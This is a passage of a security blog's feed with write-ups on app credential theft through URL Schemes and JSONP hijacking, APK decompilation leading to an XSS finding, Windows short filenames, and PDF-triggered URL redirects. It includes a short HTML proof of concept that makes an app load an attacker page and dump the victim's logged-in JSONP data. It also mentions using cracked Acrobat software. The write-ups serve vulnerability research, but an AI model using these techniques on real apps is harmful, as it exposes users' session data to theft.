id=\"\u51ed\u8bc1\u7a83\u53d6\u8bbe\u8ba1\u4e0d\u5f53\">\u51ed\u8bc1\u7a83\u53d6\uff08\u8bbe\u8ba1\u4e0d\u5f53\uff09<\/h2>\n\n<p>\u5728\u505a\u4e00\u6b21\u6f0f\u6d1e\u6316\u6398\u7684\u65f6\u5019\u4e5f\u78b0\u89c1\u4e86\u5f88\u591a\u6b21\u8fd9\u79cd\u95ee\u9898\uff0c\u5927\u6982\u7684\u63cf\u8ff0\u4e0b\u5c31\u662f\u6211\u627e\u5230\u4e86\u80fd\u5728APP\u4e2d\u6253\u5f00\u7f51\u9875\u7684\u5165\u53e3\u65b9\u5f0f\uff08\u4f8b\u5982\uff1a\u4e8c\u7ef4\u7801\u626b\u63cf\u3001URL Schemes\u52a8\u4f5c\uff09\uff0c\u8ba9APP\u8bbf\u95ee\u5230\u6211\u7684\u5730\u5740\uff0c\u8fd9\u6837\u6211\u5c31\u53ef\u4ee5\u76f4\u63a5\u83b7\u53d6\u5230APP\u4e2d\u767b\u5f55\u540e\u7684\u51ed\u8bc1\u4fe1\u606f\u3002<\/p>\n\n<p><img src=\"\/images\/2018-12-08\/15.png\" alt=\"gettoken\" \/><\/p>\n\n<p>\u5229\u7528\u65b9\u5f0f\u548cURL\u8df3\u8f6c\u7684\u65b9\u5f0f\u662f\u4e00\u6837\u7684\uff1b\u5173\u4e8e\u8fd9\u65b9\u9762\u6f0f\u6d1e\u4ea7\u751f\u539f\u7406\u5f97\u51fa\u4e00\u4e2a\u53ef\u80fd\u201c<strong>\u4e0d\u592a\u4e25\u8c28\u7684\u7ed3\u8bba<\/strong>\u201d\uff1a<strong>APP\u5728\u505aHTTP\u8bf7\u6c42\u7684\u65f6\u5019\u9ed8\u8ba4\u6240\u6709\u8bbf\u95ee\u7684\u90fd\u662f\u4fe1\u4efb\u57df\uff0c\u6240\u4ee5\u5e26\u4e0a\u4e86\u672c\u8eab\u5df2\u7ecf\u767b\u5f55\u7684\u51ed\u8bc1\u53bb\u8bf7\u6c42\u4e86<\/strong>\u3002<\/p>\n\n<h3 id=\"\u7ed3\u5408\u6f0f\u6d1e\u6269\u5927\u653b\u51fb\u9762\">\u7ed3\u5408\u6f0f\u6d1e\u6269\u5927\u653b\u51fb\u9762<\/h3>\n\n<p>\u5728\u4e00\u6b21APP\u7684\u6f0f\u6d1e\u6316\u6398\u4e2d\u53d1\u73b0\u4e86\u4e00\u4e2aJSONP\u52ab\u6301\u7684\u95ee\u9898\uff0c\u4f46\u662f\u5728\u8fd9\u91cc\u53ea\u4f1a\u5bf9APP\u7528\u6237\u4ea7\u751f\u5f71\u54cd\uff0c\u5728\u6ca1\u6709\u4e8c\u7ef4\u7801\u626b\u63cf\u7684\u60c5\u51b5\u4e0b\u5c31\u9700\u8981\u7ed3\u5408URL Schemes\u6765\u6269\u5927\u8fd9\u4e2a\u6f0f\u6d1e\u7684\u5f71\u54cd\u9762\uff0c\u800c\u4e0d\u662f\u5c40\u9650\u4e8eself\u3002<\/p>\n\n<p>\u5229\u7528\u6d41\u7a0b\uff1a<\/p>\n\n<p>\u7528\u6237\u6253\u5f00https:\/\/gh0st.cn\/test.html\uff0ctest.html\u5185\u5bb9\uff1a<\/p>\n\n<pre><code class=\"language-html\">&lt;script&gt;\nwindow.location='mst:\/\/jump?url=https:\/\/gh0st.cn\/jsonp.html';\n&lt;\/script&gt;\n<\/code><\/pre>\n\n<p>\u7528\u6237\u70b9\u5f00\u4e4b\u540e\u542f\u52a8<code>mst\u5e94\u7528<\/code>\u6267\u884c<code>jump\u52a8\u4f5c<\/code>\uff0c\u8df3\u8f6c\u5230https:\/\/gh0st.cn\/jsonp.html\uff0cjsonp.html\u5185\u5bb9\uff1a<\/p>\n\n<pre><code class=\"language-html\">&lt;script&gt;function test(data){ document.write(JSON.stringify(data)) }&lt;\/script&gt; &lt;script src=\"JSONP URL\"&gt;&lt;\/script&gt;\n<\/code><\/pre>\n\n<h2 id=\"url-schemes\u52ab\u6301\">URL Schemes\u52ab\u6301<\/h2>\n\n<p>\u8fd9\u4e2a\u6f0f\u6d1e\u662f15\u5e74\u5728\u4e4c\u4e91\u7206\u51fa\u6765\u7684\uff0c\u6f0f\u6d1e\u7f16\u53f7\u4e3a\uff1awooyun-2015-0103233\uff0c\u5927\u5bb6\u53ef\u4ee5\u81ea\u884c\u53bb\u67e5\u770b\u3002<\/p>\n\n<p>\u8fd9\u4e2a\u95ee\u9898\u8bf4\u767d\u4e86\u662f\u4e00\u4e2a\u6d41\u7a0b\u4e0a\u7684\u7f3a\u9677\uff0c\u82f9\u679c\u5b98\u65b9\u6ca1\u6709\u9650\u5236APP\u5b9a\u4e49\u7684URL Schemes\u540d\u5b57\uff0c\u5bfc\u81f4\u5176\u4ed6APP\u4e5f\u53ef\u4ee5\u5b9a\u4e49\u201c\u652f\u4ed8\u5b9d\u201d\u7684URL Schems\u540d\u5b57\uff1b\u53c8\u56e0\u4e3aiOS\u7cfb\u7edf\u5224\u5b9aURL Schemes\u4f18\u5148\u7ea7\u987a\u5e8f\u4e0e Bundle ID \u6709\u5173\uff08\u4e00\u4e2a Bundle ID \u5bf9\u5e94\u4e00\u4e2a\u5e94\u7528\uff09\uff0c\u5982\u679c\u6709\u4eba\u7cbe\u5fc3\u4f2a\u9020 Bundle ID\uff0ciOS \u5c31\u4f1a\u8c03\u7528\u6076\u610f App \u7684 URL Schemes \u53bb\u63a5\u6536\u76f8\u5e94\u7684 URL Schemes \u8bf7\u6c42\uff0c\u8fd9\u5c31\u5bfc\u81f4\u4e86\u53ef\u4ee5\u88ab\u52ab\u6301\u3002<\/p>\n\n<h1 id=\"\u7ed3\u5c3e\">\u7ed3\u5c3e<\/h1>\n\n<p>\u8fd8\u6709\u5f88\u591a\u601d\u8def\u7b49\u7740\u6211\u4eec\u53bb\u63a2\u5bfb\uff0c\u6b64\u6587\u4ec5\u505a\u601d\u8def\u542f\u53d1\u3002<\/p>\n\n<p><strong>Reference:<\/strong><\/p>\n\n<blockquote>\n  <p>https:\/\/sspai.com\/post\/31500<\/p>\n\n  <p>https:\/\/sspai.com\/post\/44591<\/p>\n\n  <p>WooyunBugID:wooyun-2015-0103233<\/p>\n<\/blockquote>\n","pubDate":"2018-12-08T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2018-12-08\/1","guid":"https:\/\/gh0st.cn\/archives\/2018-12-08\/1"},{"title":"\u6253\u9020Mac\u4e0bAPK\u9006\u5411\u73af\u5883\u5230\u5b9e\u6218\u63a5\u53e3XSS\u6316\u6398","description":"<h1 id=\"\u524d\u8a00\">\u524d\u8a00<\/h1>\n\n<p>\u60f3\u5c1d\u8bd5\u9006\u5411APK\u6765\u53d1\u73b0\u4e00\u4e9b\u63a5\u53e3\u548c\u5b89\u5168\u95ee\u9898\uff0c\u4f46\u662fMac\u4e0b\u6ca1\u5565\u597d\u7528\u7684APK\u9006\u5411\u5de5\u5177\uff0c\u4e8e\u662f\u6211\u5c31\u53c2\u8003\u6587\u7ae0\uff1ahttps:\/\/blog.csdn.net\/jyygn163\/article\/details\/71731786 \u7684\u601d\u8def\u5728Mac\u4e0b\u4f7f\u7528homebrew\u5b89\u88c5\uff1a<\/p>\n\n<pre><code class=\"language-shell\">brew install apktool\nbrew install dex2jar\n<\/code><\/pre>\n\n<p>JD-GUI\u53bbhttp:\/\/jd.benow.ca\/\u4e0b\u8f7d\uff0c\u8fd9\u91cc\u6211\u662f\u7528\u7684\u662fjar\u7248\u3002<\/p>\n\n<h1 id=\"\u8fc7\u7a0b\">\u8fc7\u7a0b<\/h1>\n\n<h2 id=\"\u81ea\u52a8\u5316\u7f16\u8bd1\">\u81ea\u52a8\u5316\u7f16\u8bd1<\/h2>\n\n<p>\u624b\u52a8\u6572\u547d\u4ee4\u592a\u7e41\u7410\u4e86\uff0c\u5199\u4e2ashell\u811a\u672c\u4e00\u952e\u5316\u3002<\/p>\n\n<p>\u5728<code>.bash_profile<\/code>\u6587\u4ef6\uff08\u73af\u5883\u53d8\u91cf\uff09\u52a0\u5165\u8fd9\u4e2a\u547d\u4ee4<code>alias apkdec=\"\/Users\/chen\/HackBox\/Tools\/Android\\ Decompile\/DeApkScript.sh\"<\/code>\uff0c\u8fd9\u6837\u5f53\u7ec8\u7aef\u6253\u5f00\u7684\u65f6\u5019\u5c31\u53ef\u4ee5\u4f7f\u7528<code>apkdec<\/code>\u547d\u4ee4\u4e86\uff0c\u800c\u811a\u672c<code>DeApkScript.sh<\/code>\u7684\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n\n<pre><code class=\"language-shell\">apktool d $1 &amp;&amp; mv $1 $1.zip &amp;&amp; unzip $1.zip \"*.dex\" -d $1_dex\/ &amp;&amp; cd $1_dex\/ &amp;&amp; d2j-dex2jar *.dex \n<\/code><\/pre>\n\n<p>\u529f\u80fd\u5b9e\u73b0\u5982\u4e0b\uff1a<\/p>\n\n<ul>\n  <li>apktool\u83b7\u53d6\u8d44\u6e90\u6587\u4ef6<\/li>\n  <li>\u5c06apk\u6587\u4ef6\u91cd\u547d\u540d\u4e3azip\u6587\u4ef6<\/li>\n  <li>\u89e3\u538bzip\u6587\u4ef6\u4e2d\u7684.dex\u6587\u4ef6<\/li>\n  <li>\u5207\u6362\u89e3\u538b\u76ee\u5f55<\/li>\n  <li>\u5c06dex\u6587\u4ef6\u8f6c\u6362\u6210jar\u6587\u4ef6<\/li>\n<\/ul>\n\n<p>\u8fd9\u6837\uff0c\u6700\u540e\u53ea\u9700\u8981\u4f7f\u7528JD-GUI\u53cd\u7f16\u8bd1JAR\u5373\u53ef\u770b\u89c1\u6e90\u7801\u4e86\u3002<\/p>\n\n<h2 id=\"\u5b9e\u6218\">\u5b9e\u6218<\/h2>\n\n<p>\u8fd0\u884c\u547d\u4ee4\uff1a<\/p>\n\n<pre><code class=\"language-shell\">apkdec xxx.apk\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2018-11-18\/0.png\" alt=\"apkdec\" \/><\/p>\n\n<p>\u9996\u5148\u5bf9<code>classes-dex2jar.jar<\/code>\u6587\u4ef6\u8fdb\u53cd\u7f16\u8bd1\uff0c\u4f46\u4f3c\u4e4e\u5728Mac\u4e0bJD-GUI\u652f\u6301\u7684\u4e0d\u592a\u597d\uff0c\u6240\u4ee5\u6211\u9009\u62e9\u4f7f\u7528luyten\uff08Download\uff1ahttps:\/\/github.com\/deathmarine\/Luyten\/releases\uff09\uff0c\u5982\u4e0b\u662f\u4e24\u5f20\u5bf9\u6bd4\u56fe\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-11-18\/1.png\" alt=\"apkdec\" \/><\/p>\n\n<h2 id=\"\u6f0f\u6d1e\u6316\u6398\">\u6f0f\u6d1e\u6316\u6398<\/h2>\n\n<p>\u5728luyten\u4e0b\u4f7f\u7528Command+G\u5feb\u6377\u952e\u5168\u5c40\u641c\u7d22\uff0c\u641c\u7d22\u57df\u540d\u5bfb\u627e\u63a5\u53e3\uff08\u56e0\u4e3a\u8fd9\u4e2aAPP\u9700\u8981\u5185\u90e8\u4eba\u5458\u624d\u80fd\u767b\u5f55\u6240\u4ee5\u4ece\u6b63\u5e38\u7684\u5165\u53e3\u662f\u65e0\u6cd5\u627e\u5230\u63a5\u53e3\u8fdb\u884c\u6f0f\u6d1e\u6316\u6398\u7684\uff09<\/p>\n\n<p><img src=\"\/images\/2018-11-18\/2.png\" alt=\"search\" \/><\/p>\n\n<p>\u5bfb\u627e\u4e86\u4e00\u756a\u770b\u89c1\u8fd9\u6837\u4e00\u4e2a\u63a5\u53e3\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-11-18\/3.png\" alt=\"api\" \/><\/p>\n\n<p>\u4e8c\u8bdd\u4e0d\u8bf4\u8bbf\u95ee\u4e4b\uff0c\u63d0\u793a\uff1a<\/p>\n\n<pre><code class=\"language-json\">{\"res_code\":\"-1008003\",\"res_message\":\"\u53c2\u6570\u9519\u8bef\",\"timeMillis\":1542516229723}\n<\/code><\/pre>\n\n<p>\u4e0d\u61c2Java\u7684\u6211\u4e00\u8138\u61f5\uff0c\u4f46\u662f\u5929\u4e0b\u8bed\u8a00\u90fd\u662f\u4e92\u901a\u7684\uff0c\u5927\u6982\u7684\u4e86\u89e3\u4e86\u4ee3\u7801\u7684\u610f\u601d\uff08\u53ef\u80fd\u7406\u89e3\u7684\u4e0d\u5230\u4f4d\uff0c\u5c31\u4e0d\u8bf4\u51fa\u6765\u8bef\u5bfc\u4e86\uff09\uff0c\u4e8e\u662f\u627e\u5230\u8fd9\u6837\u4e00\u4e2a\u51fd\u6570\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-11-18\/4.png\" alt=\"function\" \/><\/p>\n\n<p>\u4ece\u6211\u7684\u7406\u89e3\u6765\u770b\u8fd9\u4e2a\u63a5\u53e3\u5c31\u662f\u6709\u8fd9\u4e24\u4e2a\u53c2\u6570<code>appId\u3001userName<\/code>\uff0c\u4e8e\u662f\u52a0\u5165GET\u8bf7\u6c42\u53c2\u6570\u4e2d\u8bf7\u6c42\uff1a<\/p>\n\n<pre><code class=\"language-json\">Request:\n?appId=123&amp;userName=123\nResponse:\n{\"res_code\":\"0\",\"res_message\":\"\u6210\u529f\",\"timeMillis\":1542516495613,\"extData\":null,\"data\":[{\"appId\":\"123\",\"permissionTag\":[\"\"],\"extData\":null}]}\n<\/code><\/pre>\n\n<p>\u5176\u4e2dappId\u7684\u53c2\u6570\u503c\u8fd4\u56de\u5728\u4e86\u9875\u9762\u4e2d\uff0c\u8be5\u8bf7\u6c42\u54cd\u5e94\u62a5\u6587<code>Content-Type: text\/html<\/code>\uff0c\u6240\u4ee5\u5c1d\u8bd5\u6784\u5efaXSS\uff0c\u8fd0\u6c14\u597d\uff0c\u786e\u5b9e\u4e5f\u5b58\u5728XSS\u95ee\u9898\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-11-18\/5.png\" alt=\"alert\" \/><\/p>\n\n<h1 id=\"\u603b\u7ed3\">\u603b\u7ed3<\/h1>\n\n<p>\u5b66\u4e60\u3001\u4e0d\u65ad\u7684\u5b66\u4e60\u3002<\/p>\n","pubDate":"2018-11-18T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2018-11-18\/1","guid":"https:\/\/gh0st.cn\/archives\/2018-11-18\/1"},{"title":"\u4e00\u63a2\u77ed\u6587\u4ef6\u540d","description":"<h1 id=\"\u77ed\u6587\u4ef6\u540d\">\u77ed\u6587\u4ef6\u540d<\/h1>\n\n<p>\u6700\u8fd1\u770b\u89c1\u4e00\u4e9b\u6f0f\u6d1e\u5229\u7528\u5230\u4e86\u77ed\u6587\u4ef6\u540d\u56de\u60f3\u5230\u4e4b\u524d\u53d1\u73b0\u7684\u6f0f\u6d1e\uff0c\u53d1\u73b0\u81ea\u5df1\u5bf9\u77ed\u6587\u4ef6\u540d\u7684\u539f\u7406\u4e00\u65e0\u6240\u77e5\uff0c\u73b0\u5728\u6765\u4e00\u63a2\u7a76\u7adf\u3002<\/p>\n\n<h2 id=\"\u4ec0\u4e48\u662f\u77ed\u6587\u4ef6\u540d\">\u4ec0\u4e48\u662f\u77ed\u6587\u4ef6\u540d<\/h2>\n\n<blockquote>\n  <p>windows\u4e0b\u7684\u6587\u4ef6\u77ed\u540d\u662fdos+fat12\/fat16\u65f6\u4ee3\u7684\u4ea7\u7269\uff0c\u53c8\u79f0\u4e3a8dot3\u547d\u540d\u6cd5\uff0c\u7c7b\u4f3c\u4e8ePROGRA~1\uff08\u76ee\u5f55\uff09\u6216\u8005\u5143\u7d20\u5468~1.exe\uff08\u6587\u4ef6\uff09\u8fd9\u6837\u7684\u540d\u79f0\u3002\n8\u662f\u6307\u6587\u4ef6\u540d\u6216\u76ee\u5f55\u540d\u7684\u4e3b\u4f53\u90e8\u5206\u5c0f\u4e8e\u7b49\u4e8e8\u4e2a\u5b57\u7b26 ;  3\u662f\u6307\u6587\u4ef6\u540d\u6216\u76ee\u5f55\u540d\u7684\u6269\u5c55\u90e8\u5206\u5c0f\u4e8e\u7b49\u4e8e3\u4e2a\u5b57\u7b26 ;\u4e2d\u95f4\u4ee5 <code>.<\/code> \u4f5c\u4e3a\u5206\u5272\u5728FAT16\u6587\u4ef6\u7cfb\u7edf\u4e2d\uff0c\u7531\u4e8eFDT\u4e2d\u7684\u6587\u4ef6\u76ee\u5f55\u767b\u8bb0\u9879\u53ea\u4e3a\u6587\u4ef6\u540d\u4fdd\u7559\u4e868\u4e2a\u5b57\u8282\uff0c\u4e3a\u6269\u5c55\u540d\u4fdd\u7559\u4e863\u4e2a\u5b57\u8282\uff0c\u6240\u4ee5DOS\u548cWindows\u7684\u7528\u6237\u4e3a\u6587\u4ef6\u8d77\u540d\u5b57\u65f6\u8981\u53d7\u52308.3\u683c\u5f0f\u7684\u9650\u5236\u3002<\/p>\n<\/blockquote>\n\n<p>\u67e5\u770bWindows\u4e0b\u7684\u77ed\u6587\u4ef6\u540d\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-11-14\/0.png\" alt=\"windows\" \/><\/p>\n\n<p>\u53ef\u4ee5\u770b\u89c1\u56fe\u4e2d\u7684<code>123123~1.TXT<\/code>\uff0c\u5c31\u662f<code>1231231231231231232.txt<\/code>\u7684\u77ed\u6587\u4ef6\u540d\u8868\u793a\u3002<\/p>\n\n<p><strong>\u4e3a\u4ec0\u4e48\u73b0\u5728Windows\u7cfb\u7edf\u8fd8\u5b58\u5728\u77ed\u6587\u4ef6\u540d\u8fd9\u79cd\u8868\u793a\uff1f<\/strong><\/p>\n\n<blockquote>\n  <p>\u4ecewin95\u5f00\u59cb\uff0c\u91c7\u7528fat32\u5df2\u7ecf\u652f\u6301\u957f\u6587\u4ef6\u540d\uff0c\u4f46\u662f\u4e3a\u4e86\u4fdd\u6301\u517c\u5bb9\u6027\uff0c\u4fdd\u8bc1\u4f4e\u7248\u672c\u7684\u7a0b\u5e8f\u80fd\u6b63\u786e\u8bfb\u53d6\u957f\u6587\u4ef6\u540d\u6587\u4ef6\uff0c\u6bcf\u5f53\u521b\u5efa\u65b0\u6587\u4ef6\u6216\u65b0\u76ee\u5f55\u65f6\uff0c\u7cfb\u7edf\u81ea\u52a8\u4e3a\u6240\u6709\u957f\u6587\u4ef6\u540d\u6587\u4ef6\u521b\u5efa\u4e86\u4e00\u4e2a\u5bf9\u5e94\u7684\u77ed\u6587\u4ef6\u540d\u3002\u4f7f\u8fd9\u4e2a\u6587\u4ef6\u65e2\u53ef\u4ee5\u7528\u957f\u6587\u4ef6\u540d\u5bfb\u5740\uff0c\u4e5f\u53ef\u4ee5\u7528\u77ed\u6587\u4ef6\u540d\u5bfb\u5740\u3002<\/p>\n<\/blockquote>\n\n<h2 id=\"\u77ed\u6587\u4ef6\u540d\u547d\u540d\u65b9\u5f0f\">\u77ed\u6587\u4ef6\u540d\u547d\u540d\u65b9\u5f0f<\/h2>\n\n<p>\u77e5\u9053\u4e86\u4ec0\u4e48\u662f\u77ed\u6587\u4ef6\u540d\uff0c\u518d\u770b\u5982\u4e0a\u6587\u6240\u8d34\u56fe\uff0c\u56fe\u4e2d\u6587\u4ef6<code>1231231231231231232.txt<\/code>\u7684\u77ed\u6587\u4ef6\u540d\u5c31\u662f<code>123123~1.TXT<\/code><\/p>\n\n<p><strong>Windows\u77ed\u6587\u4ef6\u540d8dot3\u547d\u540d\u89c4\u5219<\/strong>\uff1a<\/p>\n\n<ul>\n  <li>\u7b26\u5408DOS\u77ed\u6587\u4ef6\u540d\u89c4\u5219\u7684Windows\u4e0b\u7684\u957f\u6587\u4ef6\u540d\u4e0d\u53d8<\/li>\n  <li>\u957f\u6587\u4ef6\u540d\u4e2d\u7684\u7a7a\u683c\uff0c\u5728\u77ed\u6587\u4ef6\u540d\u4e2d\u88ab\u5220\u9664<\/li>\n  <li>\u5220\u9664\u7a7a\u683c\u540e\u7684\u957f\u6587\u4ef6\u540d\uff0c\u82e5\u957f\u5ea6\u5927\u4e8e8\u4e2a\u5b57\u7b26\uff0c\u5219\u53d6\u524d6\u4e2a\u5b57\u7b26\uff0c\u540e\u4e24\u4e2a\u5b57\u7b26\u4ee5<code>~#<\/code>\u4ee3\u66ff\uff0c\u5176\u4e2d <strong>#<\/strong> \u4e3a\u6570\u5b57\uff0c\u6570\u5b57\u6839\u636e\u524d\u516d\u4e2a\u5b57\u7b26\u76f8\u540c\u7684\u6587\u4ef6\u540d\u7684\u4e2a\u6570\u987a\u5ef6\u3002\u82e5\u4e2a\u6570\u8d85\u8fc710\u4e2a\u5219\u53d6\u524d5\u4e2a\u5b57\u7b26\uff0c\u540e\u4e09\u4e2a\u5b57\u7b26\u4ee5<code>~##<\/code>\u4ee3\u66ff\uff0c\u5176\u4e2d <strong>##<\/strong> \u4e3a\u4e24\u4f4d\u6570\u5b57\uff0c\u82e5\u4e2a\u6570\u5927\u4e8e100\u4e5f\u4f9d\u6b64\u89c4\u5219\u66ff\u6362\u3002<\/li>\n  <li>\u5bf9\u4f7f\u7528\u591a\u4e2a<code>.<\/code>\u9694\u5f00\u7684\u957f\u6587\u4ef6\u540d\uff0c\u53d6\u6700\u5de6\u7aef\u4e00\u6bb5\u8f6c\u6362\u4e3a\u77ed\u6587\u4ef6\u540d\uff0c\u53d6\u6700\u53f3\u4e00\u6bb5\u524d\u4e09\u4e2a\u5b57\u7b26\u4e3a\u6269\u5c55\u540d<\/li>\n  <li>\u5982\u679c\u5b58\u5728\u8001 OS \u6216\u7a0b\u5e8f\u65e0\u6cd5\u8bfb\u53d6\u7684\u5b57\u7b26\uff0c\u7528<code>_<\/code>\u66ff\u6362<\/li>\n<\/ul>\n\n<p><img src=\"\/images\/2018-11-14\/1.png\" alt=\"windows\" \/><\/p>\n\n<h2 id=\"\u5173\u95ed\u77ed\u6587\u4ef6\u540d\">\u5173\u95ed\u77ed\u6587\u4ef6\u540d<\/h2>\n\n<p>\u5c06Windows\u6ce8\u518c\u8868\uff08<code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\FileSystem<\/code>\uff09\u4e2d\u7684<code>NtfsDisable8dot3NameCreation<\/code>\u8fd9\u4e00\u9879\u7684\u503c\u8bbe\u4e3a 1<\/p>\n\n<p>CMD\u5b9e\u73b0\u5173\u95ed\u77ed\u6587\u4ef6\u540d\uff1a<\/p>\n\n<pre><code class=\"language-cmd\">reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\FileSystem\" \/v NtfsDisable8dot3NameCreation \/d 1 \/t REG_DWORD \/f\n<\/code><\/pre>\n\n<p>\u5982\u679c\u60f3\u5f00\u542f\uff08\u5c06\u503c\u8bbe\u4e3a0\uff09\uff1a<\/p>\n\n<pre><code class=\"language-cmd\">reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\FileSystem\" \/v NtfsDisable8dot3NameCreation \/d 0 \/t REG_DWORD \/f\n<\/code><\/pre>\n\n<p><strong>\u9700\u8981\u6ce8\u610f<\/strong>\uff1a\u5373\u4f7f\u5173\u95ed\u4e86\u77ed\u6587\u4ef6\u540d\u529f\u80fd\uff0c\u4e5f\u4e0d\u4f1a\u5220\u9664\u539f\u6709\u521b\u5efa\u8fc7\u7684\u77ed\u6587\u4ef6\u540d<\/p>\n","pubDate":"2018-11-14T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2018-11-14\/1","guid":"https:\/\/gh0st.cn\/archives\/2018-11-14\/1"},{"title":"\u6d45\u6790PDF\u4e8b\u4ef6\u5bfc\u81f4\u7684\u5b89\u5168\u6f0f\u6d1e","description":"<h1 id=\"\u6d45\u6790pdf\u4e8b\u4ef6\u5bfc\u81f4\u7684\u5b89\u5168\u6f0f\u6d1e\">\u6d45\u6790PDF\u4e8b\u4ef6\u5bfc\u81f4\u7684\u5b89\u5168\u6f0f\u6d1e<\/h1>\n\n<p>\u6700\u8fd1ASRC\u7684\u4e8b\u60c5\uff08<strong>PDF\u5bfc\u81f4\u7684URL\u8df3\u8f6c\u6f0f\u6d1e<\/strong>\uff09\u95f9\u7684\u6cb8\u6cb8\u626c\u626c\u7684\uff0c\u4e00\u5f00\u59cb\u6ca1\u600e\u4e48\u53bb\u5173\u6ce8\uff0c\u540e\u6765\u60f3\u53bb\u73a9\u4e00\u73a9\u7684\u65f6\u5019\u53d1\u73b0\u4f5c\u8005\u6ca1\u6709\u7ed9\u51fa\u6bd4\u8f83\u597d\u7684\u8bf4\u660e\u6765\u544a\u8bc9\u5927\u5bb6\u5982\u4f55\u73a9\u3001\u64cd\u4f5cPDF\u7684\u4e8b\u4ef6\u548c\u6f0f\u6d1e\u539f\u7406\u3002\u5c0f\u767d\u7684\u6211\u6765\u63a2\u7a76\u4e00\u4e0b\u3002\u3002<\/p>\n\n<h2 id=\"pdf\u4e8b\u4ef6\u6dfb\u52a0\">PDF\u4e8b\u4ef6\u6dfb\u52a0<\/h2>\n\n<p>\u672c\u4eba\u662fmacOS\u7cfb\u7edf\u6240\u4ee5\u7528\u4e0d\u4e86\u8fc5\u6377PDF\u7f16\u8f91\u5668\uff0c\u540e\u6765\u5c1d\u8bd5\u5bfb\u627e\u5404\u79cd\u9002\u7528\u4e8eMac\u5e73\u53f0\u7684\u7f16\u8f91\u5668\u65e0\u679c\u4e4b\u540e\uff0c\u8fd8\u662f\u5411Adobe\u59a5\u534f\uff0c\u4e0b\u8f7d\u4e86<strong>\u7834\u89e3\u7248\u7684Adobe Acrobat Pro DC 2018(\u4e5f\u652f\u6301Windows)<\/strong>\u3002<\/p>\n\n<p>\u968f\u4fbf\u7528Word\u6587\u6863\u5bfc\u51fa\u4e86\u4e00\u4e2aPDF\uff0c\u4f7f\u7528Acrobat\u6253\u5f00\uff0c\u8fdb\u884c\u7f16\u8f91\uff0c\u627e\u4e86\u4e00\u4f1a\u7ec8\u4e8e\u627e\u5230\u4e86\u9875\u9762\u5c5e\u6027\u8bbe\u7f6e\u7684\u5730\u65b9\u3002<\/p>\n\n<p>\u70b9\u51fb\u53f3\u4fa7\u7684\u7ec4\u7ec7\u9875\u9762\u529f\u80fd\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-11-14-2\/0.png\" alt=\"pdf\" \/><\/p>\n\n<p>\u9009\u62e9\u8fd9\u4e00\u9875\u70b9\u51fb\u66f4\u591a-&gt;\u9875\u9762\u5c5e\u6027\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-11-14-2\/1.png\" alt=\"pdf\" \/><\/p>\n\n<p>\u9009\u62e9\u4e8b\u4ef6\u52a8\u4f5c-&gt;\u89e6\u53d1\u5668\u9009\u62e9<strong>\u6253\u5f00\u9875\u9762<\/strong>-&gt;\u9009\u62e9\u52a8\u4f5c<strong>\u6253\u5f00\u7f51\u7edc\u94fe\u63a5<\/strong>-&gt;\u6dfb\u52a0 \u8f93\u5165\u5730\u5740\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-11-14-2\/2.png\" alt=\"pdf\" \/><\/p>\n\n<p>\u8bbe\u7f6e\u6210\u529f\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-11-14-2\/3.png\" alt=\"pdf\" \/><\/p>\n\n<h2 id=\"\u6f0f\u6d1e\u6d4b\u8bd5\">\u6f0f\u6d1e\u6d4b\u8bd5<\/h2>\n\n<p>\u6f0f\u6d1e\u6d4b\u8bd5\u6d4f\u89c8\u5668\uff1a\u8c37\u6b4c\u6d4f\u89c8\u5668 Chrome<\/p>\n\n<p>\u6f0f\u6d1e\u6d4b\u8bd5GIF\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-11-14-2\/4.gif\" alt=\"test\" \/><\/p>\n\n<h2 id=\"why\">Why\uff1f<\/h2>\n\n<p>\u8fd9\u4e2a\u6f0f\u6d1e\u7684\u5c40\u9650\u6027\u5728\u4e8e\u6d4f\u89c8\u5668\u7684\u4e0d\u540c\uff0c\u90a3\u4e48\u4e3a\u4ec0\u4e48\u4f1a\u53ea\u5b58\u5728\u4e8e\u90e8\u5206\u6d4f\u89c8\u5668\u4e0a\u5462\uff1f<\/p>\n\n<h3 id=\"\u5185\u6838\">\u5185\u6838\uff1f<\/h3>\n\n<p>\u4e00\u5f00\u59cb\u7684\u731c\u60f3\u662f\u4e0e\u6d4f\u89c8\u5668\u7684\u5185\u6838\u6709\u5173\uff0cChrome\u662f\u57fa\u4e8eWebkit\u7684\u5185\u6838\u5206\u652f\uff0c\u800cSafari\u4e5f\u662f\u57fa\u4e8e\u8fd9\u4e2a\u7684\uff0c\u4f46\u662f\u7ecf\u8fc7\u6d4b\u8bd5\u53d1\u73b0\u53d1\u73b0Safari\u65e0\u6cd5\u8df3\u8f6c\u3002<\/p>\n\n<p>\u7ed3\u679c\uff1aNO<\/p>\n\n<h3 id=\"\u63d2\u4ef6\">\u63d2\u4ef6\uff1f<\/h3>\n\n<p>\u4e4b\u524d\u4e86\u89e3\u8fc7FireFox\u6d4f\u89c8\u5668\u662f\u4f7f\u7528pdf\u9884\u89c8\u63d2\u4ef6\u662fChrome\u7684PDF Viewer\uff0c\u4f46\u662f\u81f3\u4eca\u4e3a\u6b62\u6700\u65b0\u7248\u90fd\u53ea\u662f\u5f88\u4e45\u4ee5\u524d\u7684\u7248\u672c\u4e86\uff08\u706b\u72d0\u5b98\u65b9\u4e5f\u8fdb\u884c\u4e86\u4e00\u4e9b\u7ec6\u5fae\u7684\u4fee\u6539\uff09\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-11-14-2\/5.png\" alt=\"plugin\" 